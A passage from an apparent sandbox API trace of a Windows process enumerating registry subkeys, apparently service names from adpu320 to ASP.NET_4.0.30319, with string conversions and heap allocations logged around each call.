lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0256.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.184] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.184] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.184] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.184] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0256.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.185] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.185] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.185] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0256.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.186] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.186] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.186] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.186] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0256.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.187] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.187] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.187] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0256.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.188] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.189] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.189] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.189] RtlFreeHeap 